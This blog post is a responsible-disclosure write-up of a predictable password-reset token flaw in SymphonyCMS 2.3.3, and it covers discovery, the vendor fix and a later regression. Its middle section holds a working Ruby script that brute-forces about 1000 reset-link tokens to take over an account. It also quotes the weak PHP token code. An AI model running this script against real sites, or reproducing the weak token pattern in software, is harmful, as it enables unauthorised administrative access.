Skip to main content

A security bug in SymphonyCMS ( Predictable Forgotten Password Token Generation )


(This issue is now raised in OSVDB.)

On the 20th October 2013, The SymphonyCMS project released version 2.3.4 of their Content Management System. The release included a security fix for an issue I’d found in their software. The bug made it much easier for people to gain unauthorised access to the SymphonyCMS administration pages. More about that in a moment.

The date of the release is also relevant, its a couple of days shy of 60 days after I had informed the development team of the issue. When I’d informed the team of the bug, I’d mentioned that I’d blog about the issue, sometime on or after the 60 days had elapsed. (That was in line with my Responsible Disclosure policy at the time)

Which product had the bug?


Symphony CMS is a web content management system, built in PHP. It appears to be used by several larger companies & organisations, learn more here


What was the bug?

The forgotten password functionality in v2.3.3 had a weakness, This meant an attacker could bypass the normal login process by pretending to ‘forget’ a users password. It breaks down like this:

Firstly The Attacker needed a username, that was not so difficult as usernames are not secret and can be guessed. E.g.: John Smith, might have a username of  jsmith, john.smith etc.

With the username, The Attacker filled out the forgotten password form and made a note of the date & time when he did it. That bit was easy too, common browser plugins like Firebug tell you the time a server responds to any web page request.


Firebug shows the HTTP response with the server's date & time for the response


Now comes the interesting bit, The Symphony v2.3.3 code uses the date & time to calculate the special “too hard to guess” token it uses in the forgotten password email link.  The PHP code on the server looks like this:

$token = substr(SHA1::hash(time() . rand(0, 1000)), 0, 6);

OK, so that's:

time()         
( precise to the second in php ) Easy: We got that from Firebug

Add that to…

rand(0, 1000)
A random number between zero and 1000.      
Slightly harder, but guessing a thousand numbers is easy for a computer.

Then...

SHA1::hash(...)     
Hashing does not make it harder to guess, I just have a 1000 hashes instead of a 1000 numbers now.

Then...

substr(... , 0, 6)   
The first 6 characters. That's actually making it slightly easier, The first 6 characters may be repeated in the first 6 characters of some of the hashes.

As you might have worked out by now, The Attacker has only to make [less than or equal to] 1000 guesses to access our user’s account, by only knowing their guessable user-name.

Given that by default SymphonyCMS allows users 2 hrs to use the forgotten password link after it has been sent, I have plenty of time to guess them all. This is where some simple ruby automation makes life even easier, in this exploit:

#!/usr/bin/ruby

require 'watir-webdriver'
require 'digest/sha1'
require 'date'

puts "Number of arguments: #{ARGV.length}"

if ARGV.length !=2
    puts "Incorrect arguments!"
    puts "Usage:"
    puts "#{__FILE__} FQDN TIME_STRING"
    exit 2
end

browser = Watir::Browser.new
browser.goto 'about:blank'
puts "Time string: #{ARGV[0]}"

0.upto(1000) do |random_num_guess|
    target_timestamp = DateTime.parse( ARGV[1]).to_time.to_i.to_s

    token=Digest::SHA1.hexdigest(target_timestamp + random_num_guess.to_s )[0,6]

    exploit_url="http://#{ARGV[0]}/symphony/login/#{token}/"
    puts "Try #{random_num_guess} : #{exploit_url}"
    browser.goto exploit_url

    if browser.text.include? 'Retrieve password'
        puts "about:Blanking as the page is a login page."
        browser.goto 'about:blank'
    else
        puts "This URL worked:"
        puts exploit_url
        break   
    end

end # upto
The ruby script above works through all 1000 combinations in a browser window, trying in each one and stopping when it finds one that works, It leaves the browser window open, logged in and ready to use. As you can imagine, its usually finished before the 1000th one is reached. Even on a normal DSL / broadband connection, talking to a slow Amazon EC2 instance in Asia (I’m in th UK) - the whole process only took less than 5 minutes. 

How did I find the vulnerability?


I started checking for the low hanging fruit, simple XSS issues and ways to induce errors in any input forms and headers I could identify as useful. As usual, BurpSuite helped me see the details of the interactions and keep a record of what I had done. I traced the error-behaviour back to the code. That gave me a head start - I knew the relevant parts of the code - that were easily accessible and knew the happy and unhappy code paths.

Amongst these were the login process, and in particular the forgotten password functionality. This especially interested me, as its an essential feature - but one that necessitates the bypassing of the main authentication system. Like a back-gate in the castle wall. Reading through the PHP code, and comparing it to the behaviour - I soon noticed the likely vulnerability. Adding debug, allowed me check my assumptions - and soon I had a working exploit in ruby.


Why SymphonyCMS?


Open source tools are a great place to practice your testing skills, You can examine the system as a black box, and then crack open the code repository and check the code and configuration. You can test your assumptions about how the system works. That's more than you can do with many proprietary software systems.

I’d noticed that the Symphony content management system was used by several media companies, a market sector I have considerable experience in. So it seemed like a good fit. You are also helping to improve the software available to everyone on the internet.


What happened when I reported it?


I forwarded the details, exploit-code and a video of the issue to the development team. We discussed some options, and I pointed them towards a more secure way to create the tokens using the PHP function: openssl_random_pseudo_bytes

The SymphonyCMS team implemented a fix, and released it, as mentioned above. Unfortunately, the fix caused another issue - the forgotten password links no-longer worked at all. (They lengthened the token in the URL but not the one it compared it against in the database).

Sadly, I’ve been too busy to investigate the issue much since, or even write it up (Yes I’m writing about last year!  )


Comments

Popular posts from this blog

The gamification of Software Testing

A while back, I sat in on a planning meeting. Many planning meetings slide awkwardly into a sort of ad-hoc technical analysis discussion, and this was no exception. With a little prompting, the team started to draw up what they wanted to build on a whiteboard.

The picture spoke its thousand words, and I could feel that the team now understood what needed to be done. The right questions were being asked, and initial development guesstimates were approaching common sense levels.

The discussion came around to testing, skipping over how they might test the feature, the team focused immediately on how long testing would take.

When probed as to how the testing would be performed? How we might find out what the team did wrong? Confused faces stared back at me. During our ensuing chat, I realised that they had been using BDD scenarios [only] as a metric of what testing needs to be done and when they are ready to ship. (Now I knew why I was hired to help)



There is nothing wrong with checking t…

Manumation, the worst best practice.

There is a pattern I see with many clients, often enough that I sought out a word to describe it: Manumation, A sort of well-meaning automation that usually requires frequent, extensive and expensive intervention to keep it 'working'.

You have probably seen it, the build server that needs a prod and a restart 'when things get a bit busy'. Or a deployment tool that, 'gets confused' and a 'test suite' that just needs another run or three.

The cause can be any number of the usual suspects - a corporate standard tool warped 5 ways to make it fit what your team needs. A one-off script 'that manager' decided was an investment and needed to be re-used... A well-intended attempt to 'automate all the things' that achieved the opposite.

They result in a manually intensive - automated process, where your team is like a character in the movie Metropolis, fighting with levers all day, just to keep the lights on upstairs. Manual-automation, manumatio…

Scatter guns and muskets.

Many, Many years ago I worked at a startup called Lastminute.com (a European online travel company, back when a travel company didn't have to be online). For a while, I worked in what would now be described as a 'DevOps' team. A group of technical people with both programming and operational skills.

I was in a hybrid development/operations role, where I spent my time investigating and remedying production issues using my development, investigative and still nascent testing skills. It was a hectic job working long hours away from home. Finding myself overloaded with work, I quickly learned to be a little ruthless with my time when trying to figure out what was broken and what needed to be fixed.
One skill I picked up, was being able to distinguish whether I was researching a bug or trying to find a new bug. When researching, I would be changing one thing or removing something (etc) and seeing if that made the issue better or worse. When looking for bugs, I'd be casting…